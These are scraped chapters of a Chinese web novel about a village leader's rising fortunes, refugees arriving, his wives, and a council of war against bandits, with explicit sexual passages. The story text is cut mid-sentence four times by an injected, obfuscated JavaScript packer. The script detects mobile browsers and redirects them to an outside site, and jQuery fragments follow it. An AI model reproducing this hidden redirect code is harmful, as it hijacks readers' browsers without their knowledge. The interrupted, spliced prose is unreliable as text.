但在卧虎村这一亩三分地,薛猛是真给他们饭吃,给他们衣穿,给他们抬头做人的底气!
迎接薛猛的队伍里,林雅娴,徐瑾儿,林小鱼,赵氏,林大强,作为薛猛的家人,自然站在最前排。
翠儿、红儿陪侍一旁。
后面跟着徐守业、茅仪这两位学堂先生,就连秘密配制**的徐家三个女婿周堂、李正、王羽,今天也从地窖里出来了。
旁边则是老白头和他的四个徒弟赵康、周威、秦朗、庄翼,还有铁艺坊全体匠人。
再后面是张婶、张水、张远、大牛、二牛。
以及捕鱼队、施工队、采石队、伐木队。
卧虎村男女老少,全都到齐了。
所有人都眼巴巴望着前方的乡道,翘首以盼。
尤其是村里的光棍们,那叫一个兴奋。
“听说妹夫这回带回来不少小寡妇,一个比一个俊。”
“大家可都精神点!”
“争取一家帮扶两个!”
林大强状如苍蝇搓手,望眼欲穿,馋得直流口水。
施工队五大三粗的老光棍们,全都穿上了最好的衣服,一个个像要相亲一样。
就在这时,张婶“啪”的一巴掌,拍在林大强脑门上:“咋?你要咋?难不成,你还想娶小寡妇?”
林大强看着张婶,顿时没了脾气。
哎!
都怪自己酒后乱来,薛猛结婚那天晚上,和张婶在柴房里谈了心。
这心一谈,就得对人家负责!
小寡妇再俊俏,也跟他没关系了!
……
相比起卧虎村村民的欢快气氛,玉娘村村民情绪则有些低沉。
“宋老太公,如今咱们全村背井离乡,没了田地,往后这日子可怎么过呀?”
虽然追击的响马被薛猛他们歼灭了,暂时没了性命之忧。
但玉娘村的村民们,还是高兴不起来。
只因这一路走来,到处都是大山,几乎没见着什么像样的耕地、稻田,远远比不上蜀郡沃野千里的平原景象。
想来那卧虎村,也不是什么富裕之地,恐怕也就是个小山村罢了。
也不知道,当地的村民,会不会欢迎他们这些外乡人?
宋老太公何尝不是心中忧虑。
在蜀郡地界,他们宋家有田有地,虽然这几年赶上灾年,日子过得苦些,但只要熬过灾年,情况自然就会好起来。
可现如今,被黑风岭响马逼得背井离乡,逃亡至此。
无田无地,前途未卜啊!
宋老太公叹道:“事到如今,只能走一步看一步了。”
连宋老太公都没主意,玉娘村的村民们更是垂头丧气。
不少妇人都抹起了眼泪。
宋老夫人和宋婉儿母女俩也是满脸愁容。
逃出玉娘村又如何?
天下之大,早已没了她们安居乐业之所!
跑到天涯海角都没用!
见大家情绪低落,罗飞笑道:“乡亲们,你们别担心!咱们卧虎村,以前确实很穷!”
“但现在,在薛大哥的治理下,咱们卧虎村早已今非昔比!”
“到了卧虎村,有的是好日子等着你们呢!”
“真的假的?”
玉娘村的小媳妇儿们都不相信。
就这么个穷乡僻壤,到处都是山,连块平整耕田都没有,能有什么好日子?
“到了你们就知道了!”
罗飞自信一笑,也不再多说。
村民们脚程慢,慢吞吞走了大概半个钟头。
罗飞指着前方不远处说道:“你们看,那就是咱们卧虎村!”
闻言,众人抬头望去,顿时被眼前所见惊得目瞪口呆。
只见一道青石垒砌的寨墙,宛若巨龙蜿蜒盘踞,环绕着一个村子。
寨墙拐角处,高大的箭楼拔地而起,犹如沉默的卫士,镇守着卧虎村!
箭楼上有村民持弓守卫。
村口还设置着拒马、鹿角。
这阵势,哪里像是个村子?
乍一看,还以为是个边军驻扎的城寨呢!
见宋老太公和玉娘村的村民都看傻了眼,罗飞抬头挺胸,心中颇感骄傲。
几个月前,卧虎村还只不过是一个穷得鸟不拉屎的小破山村。
但在薛猛的经营下,卧虎村早已改头换面。
学堂、饭堂、鱼胶坊、纺织坊、铁艺坊、酒坊、炒菜馆,该有的不该有的,卧虎村全都有了!
就连村子里的土路都铺上了青石板,一点不输城里的街道!
家家户户兜里有了钱,都修缮了新房!
现在就连白虎乡的市集,都赶不上卧虎村繁华漂亮!
连附近几个村子的村民,赶集卖货,都不去白虎乡了,全都到卧虎村来做买卖。
为此村长徐守业还特地建了个交易市场,每逢一、三、五赶场天,来卧虎村做生意的小贩络绎不绝,热闹非凡。
如今的卧虎村,俨然已经成为了白虎乡的经济中心。
寨墙、箭楼之类的防御设施,也都初具雏形。
整个白虎乡,再没有比卧虎村更安全的地方了。
“乡亲们!我们回来了!快开寨门!”
隔大老远,罗飞便冲箭楼上守村的村民,招手喊道。
“是罗飞兄弟他们回来了!快开寨门!”
下一刻,寨门大开。
村口等候多时的迎接队伍,纷纷朝着罗飞一行人迎了上来。
“大家一路上辛苦啦!”
“快快快,喝碗开水吧!”
林雅娴、徐瑾儿、红儿、翠儿,以及张婶和饭堂的婶子们,纷纷递上提前熬好的“开水”,迎接远道而来的玉娘村村民。
卧虎村村民的热情,让玉娘村村民受宠若惊。
她们本就营养不良,加上昨晚死里逃生,熬到现在,确实又饿又渴,不少年纪大的站都快站不稳了。
“多谢姑娘了!”
宋老太公从林雅娴手里接过一碗开水,正准备喝,却发现碗里所谓的“开水”,并不是凉白开。
水是琥珀色的,碗里还飘着米粒,卧着两个白白胖胖的荷包蛋。
闻起来有一股子夹杂着酒香、蛋香的香甜味!
“这是……开水?”
宋老太公愣了愣,他可从来没见过这样的开水。
林雅娴笑着点头:“对啊,醪糟开水!老人家,快喝吧!”
宋老太公浅尝了一口,顿时老眸圆瞪,愣在了原地:“糖!!”
“这开水里,居然放了糖?!”
徐瑾儿轻描淡写道:“对呀,放了点红糖!”
“红糖?”
天呐!
在大虞,糖是极其珍贵的东西,甚至可以当药用!
哪怕是宋庄这样的地主家庭,也只有逢年过节,才能吃上一点黑糖。
至于红糖,那是县里豪强才能享用的高档货!
卧虎村居然用这么珍贵的红糖,冲开水给他们这些无亲无故的外乡人喝?
玉娘村村民更是连黑糖都没吃过,喝着碗里又香又甜的“开水”,一个个惊得说不出话来。
他们这辈子都没喝过这么好喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313071|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的开水!
而且喝到肚子里,浑身暖暖的,头不昏了眼不花了,比吃药还管用!
本以为卧虎村本地村民,会排斥这些外乡人。
没想到,对方居然这么热情!
一碗开水里,放了红糖,醪糟,还有荷包蛋!
这些东西,连地主都不舍得吃!
卧虎村却用来招待他们这些无家可归的人?
玉娘村的小寡妇们,一个个眼圈都红了。
把碗里的“开水”喝得干干净净。
林雅娴又端起一碗开水,递到一个瘦脱了相的老婆婆手里:“快喝吧,乡亲们!你们赶路辛苦了,先喝碗醪糟开水垫垫肚子!”
“等饭堂做好了饭,再领你们去吃饭!”
说着,林雅娴扭头对饭堂主管张婶嘱咐道:“张婶,今天饭堂可要多加几个硬菜!”
张婶喜气洋洋笑道:“好嘞!今天咱们吃油焖大虾!红烧肉!炖猪肘子!铁锅炒鸡!鹿肉丸子野菜汤!”
听到张婶像说相声贯口一样报出一个个菜名。
玉娘村村民几乎快要昏过去。
红糖醪糟荷包蛋,已经是她们平时根本吃不起的美味了!
现在居然还有猪肘子、炒鸡、鹿肉、大虾……
老天爷!
莫非这里就是天堂不成?!
“老爷,这是真的?还是在做梦啊?”
就连宋老夫人,也是激动得手都在发抖,不敢相信所见所闻是真实的。
本以为卧虎村只是一个贫瘠的小山村,没想到这些卧虎村的日子,比他们宋庄还要富裕!
而且还有寨墙、箭楼保护村子,就算响马来了都不怕!
宋老太公何尝不是震惊不已。
这里简直就是世外桃源!
这辈子,就是死在这儿都值了!
“娘,这不是做梦,这是真的!”
宋婉儿美眸震颤,她发现卧虎村的村民们全都穿得干干净净,身上的衣服一个补丁都没有。
女人面色红润,男人身体壮实,就连老人都精神矍铄。
每个人脸上都洋溢着幸福和满足。
反观他们玉娘村这些女人,虽然骨相都不丑,但长期吃不饱饭,一个个骨瘦如柴,面黄肌瘦的。
老人都瘦脱了相。
简直是一个天一个地。
先前听罗飞说到了卧虎村就有好日子过,他们还不相信,现在看见这一切,全都信了!
“大家喝完开水,都跟我来!老夫来给你们安排住处!”
徐守业作为卧虎村村长,安排外来人口落户的事情,自然交由他办理。
卧虎村的光棍们,见缝插针,纷纷热情上前,抢着帮玉娘村的寡妇们提行李。
“丫头,我来帮你提行李吧!”
“妹子,我来帮你!”
“哥有的是力气!”
看着卧虎村这一个个精壮阳刚,穿着干净的男人,玉娘村的妇人们裤裆胶黏,一个个春心都萌动了。
林大强搓搓手,也想上前帮忙,却被张婶揪住耳朵:“干啥去呀?这么多大小伙子,用得着你帮忙吗?”
“行行行,我不去不就行啦!”
林大强厚着脸皮,伸手摸了摸张婶的屁股,嘿嘿一笑:“兰香,我就跟你一个人儿好!”
张婶哼了一声,扭身就走。
“晚上来我房里,我给你留门儿。”
听到这话,林大强心中一荡,忍不住嘴角上扬。
虽说张婶比他大几岁,但活儿是真好啊!
拍拍屁股就知道换姿势。
用薛猛的话来说,老A8也是A8,开起来省心!
林大强盯着张婶日渐丰腴的背影,咧嘴笑道:“行,把羊肠子洗好,晚上我指腚来!”
第108章 薛猛被坏女人偷吃了
喧闹过后,卧虎村村口归于平静。
在村长徐守业的安排下,村民们陆续散去。
巡猎队众人打了一晚上仗,困得不行,有些人还受了伤,也都各自找地方歇息疗伤去了。
山猫子则赶着从响马手里缴获的马匹去山里吃草。
罗飞、寇达、寇芳,则把独眼龙带到了小黑屋,轮番拷打,想从他口中问出更多黑风岭的底细。
一时间,村口只剩下郑灵均、秦义,还有林雅娴、徐瑾儿。
“雅娴、瑾儿,这个小兄弟,是当朝左将军秦雄之孙秦义,如今薛贤侄受左将军之托,收他为弟子!因此要在你们家住上一段时间!”
“秦小公子,这两位是你先生的娘子,按辈分,你可以管他们叫师娘!以后哇,你有什么不懂的,就要问她们!”
郑灵均指着林雅娴和徐瑾儿,对秦义介绍道。
秦义闻言,憨憨一笑,冲林雅娴、徐瑾儿结巴喊道:“师、师娘!”
见秦义虽然长得怪模怪样有点吓人,但却憨憨傻傻的没啥心眼,林雅娴回以温柔微笑。
徐瑾儿则是杏眸圆瞪,搞不懂薛猛怎么会收个这样的弟子?
看上去愣头愣脑的,不太聪明的样子,居然还是什么将军的孙子?
“师娘,我,肚子饿,有吃的吗?”
秦义摸了摸肚皮。
虽说昨晚在宋老太公庄上饱餐一顿,但对付那些响马,忙活了一晚上,他早饿了!
刚才那碗荷包蛋糖开水,压根不够他塞牙缝。
“别急,饭煮好了,张婶会叫咱们的!”
徐瑾儿把桶里剩下的荷包蛋,全盛了出来:“你要是饿,就先吃这个垫吧垫吧!”
“谢谢小师娘!”
秦义嘿嘿一笑,接过一大碗荷包蛋,吃得狼吞虎咽的。
徐瑾儿捂嘴偷笑。
这吃相,都快赶上薛大哥了!
“对了郑叔,我家长根儿人呢?”
巡猎队的人都平安回来了,唯独没见到薛猛和裴红玉!
这俩人上哪儿去了?
面对林雅娴和徐瑾儿询问的目光,郑灵均一时语塞,不知该如何开口。
“他们……他们……”
郑灵均张了张嘴,却不知该怎么说。
这时候,秦义突然插口道:“他们在……小,小树林里……”
不等秦义把话说完,郑灵均连忙一把捂住了秦义的嘴,不让他继续说下去。
“雅娴、瑾儿,你们别瞎想,薛猛贤侄他们有点事,很快就会回来的!”
留下这句话,郑灵均拽着秦义匆忙离去,生怕秦义说漏了嘴。
林雅娴和徐瑾儿对视一眼,眼中皆是充满疑惑。
女人的直觉告诉她们,这里面指定有事儿!
……
直到中午饭点,裴红玉方才背着昏死过去的薛猛,回到了薛家,引得村民们揣测纷纷。
把薛猛往床上一丢,裴红玉转身就走。
“天呐!长根儿这是怎么了?”
看着躺在床上,昏迷不醒,脸色惨白的薛猛,林雅娴几乎哭成了泪人儿。
徐瑾儿也是抹着眼泪,对裴红玉问道:“裴姐姐,这是怎么回事,我家相公怎么成这副样子了?”
“他自找的!”
说完,裴红玉扭头出门,头也不回!
“别哭了,我没事儿!”
裴红玉前脚刚走,薛猛便睁开了眼睛,从床上坐了起来:“呼!这娘们儿总算走了!”
要不是他装昏迷,裴红玉非得把他榨干不可!
“长根儿,到底怎么回事?”
林雅娴有些懵。
听见林雅娴温柔的嗓音,薛猛扭头看着自己温柔贤良的大老婆,目光一柔。
一把抱住林雅娴,情不自禁在她白嫩脸蛋上吧唧亲了好几口:“大老婆!我好想你!你写的信我收到了!”
久别胜新婚,半个月不见,薛猛是真想自己这个大老婆!
林雅娴俏脸一红,一把将薛猛推开:“死鬼!大白天的,你干啥呀!”
徐瑾儿看得一愣一愣的,感觉自己好像有点多余。
“小老婆!吃醋了?”薛猛一挑眉,敏锐察觉了徐瑾儿的小情绪。
徐瑾儿抹了抹眼泪,委屈巴巴噘嘴道:“我才没有呢!”
“嘿嘿……别生气嘛!两个老婆我都爱!”
薛猛拉住徐瑾儿小手,把她拽进怀里,抱着两个老婆,在床上好好温存了一番。
徐瑾儿跟林雅娴情同亲姐妹,自然不会真的吃林雅娴的醋,只是闹了点小情绪罢了,薛猛一哄就好了。
夫妻三人分开也小半个月了,如今一家三口团圆,高兴还来不及呢!
“啊,薛大哥你身上这是什么东西,这么硬,弄疼我了!”
“嘿嘿!这是我这次从京城回来,特地给你俩带的礼物!”
薛猛神秘兮兮地从怀里摸出一个布包。
林雅娴和徐瑾儿满心好奇,瞪大眼睛。
只见薛猛打开里三层外三层的包布,显露出两根金光闪闪的发钗。
发钗使用纯金打造,造型宛如飞凤,顶端还镶嵌着珍珠玛瑙,做工精细,栩栩如生!
徐瑾儿杏眸圆瞪,眼都看直了。
她从来没见过这么漂亮的发钗!
林雅娴自然也是被发钗惊艳到了,但同时,她又不禁心疼起来:“这发钗是金子打的?得花多少钱啊?”
不当家不知盐米贵。
别看薛家现在生意蒸蒸日上,但手底下这么多人跟着吃饭,花销也大啊!
林雅娴经管着账目,很清楚薛猛之前打猎赚的钱,都快花得差不多了!
鱼胶和铁锅,又不知道卖了多少钱。
眼瞅着马上又要发工钱,交赋税了,她心里自然担心薛猛乱花钱!
“没花几个钱!”
薛猛嘿嘿一笑。
林雅娴完全不信。
但薛猛说的都是真的,这两根金发钗,是用贤贵妃赏赐的金子打的,材料不需
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313072|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要花钱!
也就是找匠人花了几个手工费。
“这京城匠人的手艺,确实了得!”
徐瑾儿拿起发钗看了又看,爱不释手,迫不及待地戴上了:“薛大哥,好看吗?”
“好看!我瑾儿老婆真好看!”
“呵呵,薛大哥你真好!”
说着,徐瑾儿吧唧一口,亲在了薛猛脸上。
薛猛心里美滋滋的,搂着瑾儿的小腰使劲捏了捏:“喜欢就好!”
“真会浪费钱!”
林雅娴却是满脸幽怨,不肯要这发钗。
“那行吧,我拿去卖了!”
薛猛作势就要把发钗收回来,林雅娴顿时急了,一把将发钗抓在手心里:“想得美!给我了,就是我的了!我先戴两天,等账上没钱了,再拿去卖!”
“嘿嘿!你呀……”
见林雅娴这副想要又心疼钱的样子,薛猛抱住林雅娴,咬着她的耳垂道:“大老婆,你就别担心钱的问题了。”
“你男人我这趟进京,收获不小,鱼胶和铁锅的销路都打通了!”
“以后哇,咱们每个月都有大笔银子进账!”
“不需要你卖发钗堵窟窿!”
“真的?”
林雅娴闻言,眼圈一红,高兴得几乎快要掉下眼泪。
“长根儿,你真是天底下最能干的男人!我林雅娴是积了八辈子的福分,才嫁给了你!”
林雅娴情到深处,反抱住薛猛。
这个坚强的女人,此刻卸下了所有的伪装,无比依恋地贴在薛猛身上。
徐瑾儿也凑了上来,和林雅娴左右夹击,像两条蛇一样,把薛猛死死缠住。
薛猛呈大字躺在床上,享受着大、小两个老婆的温柔服侍。
感受到前所未有的放松和愉悦!
所有疲惫一扫而空!
醒掌天下权,醉卧美人膝,佳人如玉掌中握,血雨腥风弹指过!
回想起这一路走来,所经历的凶险、喜悦、收获,薛猛的意识越来越模糊,逐渐进入了梦乡。
只希望时间永远定格在这一刻!
“姐姐,薛大哥太累了,咱们别折腾他了!”
“你看,都起不来!”
徐瑾儿抹了抹嘴角,纤眉轻皱。
看着自家男人累成这样,林雅娴何尝不是心疼得紧,不忍心再索取什么。
穿好衣服下了床,替薛猛脱下了鞋子,扯过被子仔细盖好,便拉着徐瑾儿出了门。
“瑾儿,你没发现吗?”
“咱们的男人,被别的坏女人偷吃了!”
刚出门,林雅娴就说出了自己发现的问题。
“我不反对长根儿再纳妾!”
“但,绝不能让外面不三不四的坏女人,毁坏了他的身子!”
“此事关乎薛家开枝散叶,咱们姐妹俩得联起手来,查出到底是谁在偷吃咱们的男人!”
“必须讨个说法!”
“嗯!”
徐瑾儿点头:“姐姐,我都听你的!”
第109章 翠儿小嘴抹了蜜
兴许是太累了,也可能是林大强新做的大床躺着太舒服了,薛猛一觉睡到了第二天天亮。
“主人,你醒了?”
“让我们服侍主人沐浴更衣吧!”
起床之时,红儿、翠儿已经在旁边等着伺候洗漱了。
“也好。”
薛猛也逐渐适应了她们的服侍。
要是不让她们服侍,反倒让她们焦虑,感觉自己像吃白饭的!
让她们做点事情,倒更安心。
红儿给木盆里倒上加了药材的浴汤,试好水温。
翠儿替薛猛脱下脏衣服,让薛猛舒舒服服躺在浴盆里,拿起澡巾,为薛猛捏肩搓背。
“主人,力度合适吗?”
“嗯,挺好的。”
“主人,我们祖上传下一门抓龙筋的手艺,你要不要试试?”
“抓龙筋?试试也行。”
“主人,把腿打开!”
“嘶哦……这手法,绝了!”
薛猛舒服得浑身发抖。
红儿、翠儿的手法,比前世水汇二楼的技师专业多了!
“你俩祖上干什么的?”
“开医馆的!”
“那就难怪了!”
原本被裴红玉那个**压榨后,薛猛有些力不从心。
但经过红儿翠儿的手法调理,薛猛感觉自己又满血复活了!
“主人,你真是个顶天立地的汉子!”
看着薛猛顶天立地的样子,红儿和翠儿对视一眼,姐妹俩都是羞得满脸酡红。
伺候薛猛洗完澡后,红儿把弄脏的床单被褥全都换掉,连同薛猛的脏衣服拿去洗了。
翠儿则替薛猛仔细擦干身子,从衣柜里拿出一套月白锦袍,给薛猛换上:“这是大夫人,特地为你做的新衣裳。”
“布料用的是咱们卧虎村纺织坊自己织的布。”
薛猛闻言,想起之前林雅娴在信里提到过这事儿。
虽然他不怎么懂纺织,但摸着身上衣服的料子,很是光滑,穿起来也很舒服合身:“不错不错!”
“这布织得好哇!”
薛猛不禁赞叹,之前投资刘玉婷重建刘庄纺织坊,看来是个正确决定。
刘庄的布,果然名不虚传!
“主人,你真是十里八村少有的俊后生!便是城里的公子少爷,也没你俊俏!”
翠儿端起一面铜镜,给薛猛照了照,小嘴儿好似抹了蜜。
薛猛看着镜子里的自己,果然帅得掉渣。
“嘿嘿,会说就多说点!我爱听!”
翠儿小嘴一张,张口就来:“主人才学出众,有词压群贤之才!”
“主人武艺超群,有剿匪平寇之功!”
“主人心怀慈悲,有济世安民之志!”
“主人风流倜傥,女子见之无不仰慕!”
“主人义薄云天,豪杰定当誓死追随!”
“翠儿此生能侍奉主人,实是三生有幸!翠儿发誓,此生绝不再侍二主,只愿追随主人身边!”
翠儿嘴里小词一套接一套,都快把薛猛哄成胚胎了。
情绪价值拉满了!
“好你个翠儿,这么会嗦!不去商K做酒水销售可惜了!”
“小嘴一张,高低也是个销冠!”
薛猛心情大好,搂住翠儿小腰,正想奖励一下她这能说会道的樱桃小嘴儿。
却不料,门外突然响起敲门声,寇芳紧跟着推门而入。
“恩公,巡猎队各队长和老鸦坎的头领都已经到齐了,可以开会了!”
“哦,好!我马上就来!”
薛猛一惊,连忙撒开翠儿。
这才想起,自己还有正事要干!
老规矩,打完仗,必然要召开巡猎队战后总结大会。
赏功罚过,复盘战局!
交流心得,总结经验!
只有这样,才能让巡猎队快速成长,立于不败之地。
目送薛猛跟着寇芳出了门,翠儿眼底闪过一抹小失落,就差一点,就能得到主人临幸了!
……
数月之前,薛家的小破院子,还是家徒四壁,冬天漏风,雨天漏雨。
现如今,也就三个月不到,薛家庭院已然大变了模样。
占地面积,比以前大了两三倍不止。
前庭八间房,后院八间房。
临时饭堂和鱼胶坊的工棚已经拆除,搬了出去,前庭种上了桃树、富贵竹,再也不像以前那么乱糟糟的了。
客厅、厨房、柴房、仓库、书房、马厩、地窖、练功房、会议室,应有尽有,全是林大强按照薛猛亲自绘制的图纸,找施工队扩建的。
各房之间廊道相连,地面都是青石板铺就,即便是下雨天也不用担心满地泥泞。
虽然还是比不上现代这么方便,但居住环境,已经得到了极大改善。
身上穿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313073|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,吃的用的,比起以前也都好了不知多少倍。
再也不用挨饿受冻,吃糠咽菜了!
“或许这就是赚钱的意义吧!”
走在青石步道上,看着自己亲自打拼挣来的一砖一瓦,薛猛心中还是颇有成就感的。
不说别的,巡猎队开会也不需要再挤在后院那么个小地方了,直接就在会议室里开会。
宽敞、大气,每个人都有位子坐!
一进会议室。
最先引入眼帘的就是一张长桌,长桌中间镶嵌着地形沙盘。
巡猎队各队长和老鸦坎大小头领,按照顺序围坐桌前,只有最前面的主位空着。
有那么一瞬间,薛猛莫名有些恍惚,仿佛自己又回到了前世的部队里!
只不过,前世开会,他是在会议室里坐着等的大头兵!
而现在,却轮到别人等他了!
薛猛平复了一下心中的情绪,这才迈步走进了会议室。
薛猛刚一进来,原本坐着的众人,纷纷不约而同站了起来,一道道灼热目光聚焦在薛猛身上。
“干什么?坐呀!”
薛猛一怔,扫了一眼众人。
左边依次是大刀队队长郑灵均、投掷队队长罗飞、大刀队副队长周康、**队副队长杨虎、**队副队长周楠。
右边依次是老鸦坎大当家山猫子、二当家吴大海,以及五名小头领。
见大伙儿全都目不转睛盯着他看,薛猛摸了摸自己的脸,心说脸上也没东西啊。
“你们看啥呢?”
“我又不是娘们儿,有那么好看?”
郑灵均率先开口,打破沉默:“薛贤侄,我们方才,围着沙盘研究了一下昨晚的战局!也就是你所说的‘复盘’!”
“哦?”
薛猛闻言,颇感欣慰,自己还没来,大伙儿就先复盘上呢?
行啊!
觉悟很高嘛!
“坐坐坐!都坐下说,复盘之后,总结出什么作战经验没有?”
薛猛问道。
“当然!”
众人坐下后,齐齐点头。
薛猛让大伙儿起来说说,但大家都不知道该怎么开口。
最后还是郑灵均代表大家,做了总结:“我们总结出,昨天这场仗,没你薛猛不行!”
“啥?”
薛猛直接就听懵了。
一群人总结半天,就总结出这个?!
第110章 黑风岭起义
“我们是认真的!”
郑灵均神情无比郑重,并没有开玩笑,他指着沙盘上的地形,说道:“无论是火烧一线天,还是以身入局,诱敌深入,竹林围猎!”
“这些计策,看着沙盘,事后说起来似乎并不复杂!”
“但当时身处局中,我们这里除了你,没有人能够保持如此冷静的头脑,马上想出这些计谋!”
“因为要想出这些计策,必然要对卧虎山的地形了如指掌!”
“如果不看沙盘,我们根本无法发觉老鸦坎、**凼、一线天之间的捷径!”
山猫子插口道:“没错!我们越复盘,越觉得你昨晚布的局可怕!”
“可以说,若是没有薛大掌柜你的指挥!就凭我们这些人,早就沦为那上百响马刀下亡魂了!”
大海惭愧道:“薛大掌柜,你昨晚说,这次歼灭响马,我们老鸦坎居首功!我看并非如此,此战真正该居首功的,应该是你自己!”
“没错!”
“薛爷!这次的赏银,我们就不要了!”
“对,弟兄们受之有愧啊!”
“我们大刀队也没出什么力!”
“……”
见众人都囔着不要奖赏,薛猛一拍桌子,厉声喝道:“够了!”
待大家噤声,薛猛这才说道:“你们全都想错了!”
“若是没有你们带领手下弟兄,浴血拼杀!”
“仅凭我薛猛一人,空有计谋,又有何用?”
“正所谓人算不如天算,昨晚有多惊险,大家有目共睹!正因为我的失算,才导致那独眼龙带着五十名响马逃回了山谷!”
“万幸的是,寇氏兄妹传讯及时,诸位弟兄伏击得当!”
“大家同心协力,方才挽回败局!”
“此战,歼灭上百响马,缴获五十匹中原战马,二十匹南方矮脚马,两匹骝马,两匹花马,可谓收获不小!”
“我不仅要赏你们,还要重赏!”
薛猛一抬手,寇芳立即会议,递上赏赐名单。
由于昨晚的作战,并非正面对抗短兵相接,无法计算个人击杀数目。
薛猛宣布以集体为单位,奖赏大刀队、**队、**队、投掷队、老鸦坎。
赏赐包括银两、布匹、肉、粮米。
会议结束后,由各队长、头领将赏赐分发给手下队员。
薛猛正念着赏赐名单,负责探听消息的寇达,火急火燎冲了进来。
“恩公,大事不好了!”
所有人目光齐齐扫向寇达。
薛猛也是一怔,问道:“怎么了?”
寇达缓了口气,这才从怀里摸出一张揉成一团的告示,铺开之后递给薛猛。
“这是白虎乡亭长派人送来的官府榜文,说是紫丘县已被黑风岭响马攻破城池!”
“五百剿匪官军被击溃,蜀郡司马**、蜀郡郡尉周达、紫丘县令张济民、紫丘县尉霍彪、紫丘县马快都头楚威,均被黑风岭大王义子元良斩首!”
“黑风岭吞了紫丘县后,实力愈发强大,广发英雄帖,召集蜀郡绿林十七县土匪、响马、棒匪、水匪、刀客、飞贼,共同举事!”
“此事震动蜀郡郡府,命各县衙募集乡勇,结寨自保,提防响马来袭!”
“什么?”
听闻此言,众人无不震惊。
郑灵均低眉沉声道:“如此说来,这黑风岭响马,已经不再满足于打家劫舍,开始招兵买马攻城略地,这是打算公然**呐!”
“若他们果真**起十七县绿林匪寇共同举事,整个蜀郡只怕是再无宁日!”
“蜀郡郡府这道榜文,命各县招募乡勇结寨自保,摆明了是不敢和这些叛军打,让各县自生自灭!”
“这些废物,平日在老百姓面前耀武扬威,真到了要命关头,一个比一个怂!”
薛猛虎目微眯,暗自捏紧了拳头。
没想到黑风岭响马,居然已经发展到了这种地步,连县城都打下来了!
昨晚他们歼灭了黑风岭三个骠骑营,本以为黑风岭响马也不过如此。
但现在看来,他们灭的三个骠骑营,并不能代表黑风岭响马的真正实力!
罗飞皱眉道:“若是黑风岭真的闹起了**,蜀郡就全乱套了,咱们以后还怎么送铁锅和鱼胶进京城啊?”
山猫子道:“咱们杀了黑风岭那么多人,他们迟早会来报仇的!我们必须早做打算!”
“怎么打算?”
一个小头领满脸沮丧:“连官军都不是他们的对手!就凭咱们,拿什么跟他们斗?”
其他人顿时不说话了。
面对黑风岭这样的强敌,每个人心里都在打鼓。
就连一向沉稳镇定的白虎军老兵郑灵均,也是罕见地叹了口气,低着头不知在想些什么。
就在这时,门外响起喧闹声。
徐守业和老白头火急火燎赶了过来,一进门,便拉着郑灵均声音颤抖道:“四十七弟,老九**!”
郑灵均红着眼,强压心头悲愤,叹道:“两位老哥哥,我已经知道了。”
紫丘县马快楚威!
也曾是白虎军内营三百精卫中的一员,排行老九!
“老九的骑射功夫,比我们都强!”
“连他也被响马斩了首!”
“哎,老了,我们真是老了,不中用了啊!”
三个白虎军老兵,一个个都垂头丧气,眼圈通红。
连三个平日德高望重的长者,此时都叹起了气。
其他人也都受到了影响,一个个情绪低落。
会议室里,气氛低沉,仿佛黑风岭响马还没来,大家就已经失去了反抗的意志。
“怕什么!”
突然,一声劲喝响起。
众人一怔抬头,齐齐看向拍桌的薛猛。
“黑风岭响马,固然来势汹汹!”
“但老子也不是吃素的!”
薛猛虎目威严,不怒自威,稳坐首位。
一开口,声音掷地有声:
“我宣布,从今天开始,老鸦坎要组建骑兵队!闲时畜牧养殖,战时骑马**!”
“山猫子,先前缴获的五十匹中原战马,老子全都交给你了!”
“十天之内,招不够五十个骑兵,你给我提头来见!”
前一刻还跟大家嘻嘻哈哈亲密无间的薛猛,此刻俨然变了一个人。
神情冷漠,声音不大,却仿佛充斥着震慑人心的魔力。
犹如龙吟虎啸,让人不得不服从他的命令!
“是!”
山猫子收起沮丧情绪,连忙拱手领命,随即带着老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313074|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸦坎众头领转身离去。
